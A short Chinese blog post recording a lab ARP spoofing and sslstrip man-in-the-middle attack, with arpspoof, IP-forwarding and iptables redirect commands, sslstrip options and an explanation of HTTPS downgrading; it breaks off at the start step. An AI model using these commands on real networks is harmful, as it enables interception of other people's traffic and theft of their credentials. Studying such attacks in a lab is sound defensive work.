记录一次ARP欺骗+内网嗅探（wirshark抓取https）

祝星不再唱走马

已于 2023-08-04 14:33:59 修改

阅读量1.2k

点赞数 4

文章标签：网络网络安全 linux

于 2023-08-04 11:47:24 首次发布

本文链接：https://blog.csdn.net/akucoco/article/details/132101071

版权

目标IP: 192.168.0.38

kaliIP: 192.168.0.94

网关IP: 192.168.0.1

1.对目标进行ARP攻击

arpspoof -i eth0 -t 192.168.0.38 192.168.0.1

2.对目标进行ARP欺骗

echo 1 >> /proc/sys/net/ipv4/ip_forward

3.修改配置文件

vim  /etc/ettercap/etter.conf

这里两个配置都要取消注释，不然无法打开ettercap（这里不去动配置文件也可以直接打开但无法使用iptables相关指令）

4.使用sslstrip进行https降级

攻击原理

攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽，将所有的HTTPS连接都用HTTP来代替。同时，与目标服务器建立正常的HTTPS连接。由于HTTP通信是没有经过加密传输的，并没有HTTPS安全，所以攻击者能轻松实施嗅探。

1. 通过中间人攻击监听 http 流量
2. 更改重定向链接中的 location，替换 https 为 http，并记录
3. 更改响应内容中的超链接，替换 https 为 http，并记录
4. 与用户进行 http 通信，与服务器进行 https 通信（记录中本应是 https 的请求），从而明文获取用户信息

Tips:

当用户浏览的网页中包含https协议，会被转化为http协议的请求
但是sslstrip也不是万能的， 假如网页中没有https， 但是js代码绑定了跳转到https的协议请求的事件，那么sslstrip就失效了

安装sslstrip

apt install sslstrip

使用iptables将80端口数据转发到sslstrip监听端口

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000（监听端口）

如果攻击完成后要删除这条记录可以输入命令

iptables -t nat -D PREROUTING 1


查看 ip 转发表： iptables -t nat -L

sslstrip的使用

-w <文件名>，–write = <文件名>指定要登录的文件（可选）。
-p，–post仅记录SSL POST。（默认）
-s，–ssl记录往返服务器的所有SSL流量。
-a，–all记录往返服务器的所有SSL和HTTP通信。
-l <端口>，–listen = <端口>用于侦听的端口（默认为10000）。
-f，–favicon根据安全请求替换锁图标。
-k，–killsessions终止正在进行的会话。
-h 打印此帮助消息。

查看端口占用lsof -i tcp:10000
启动：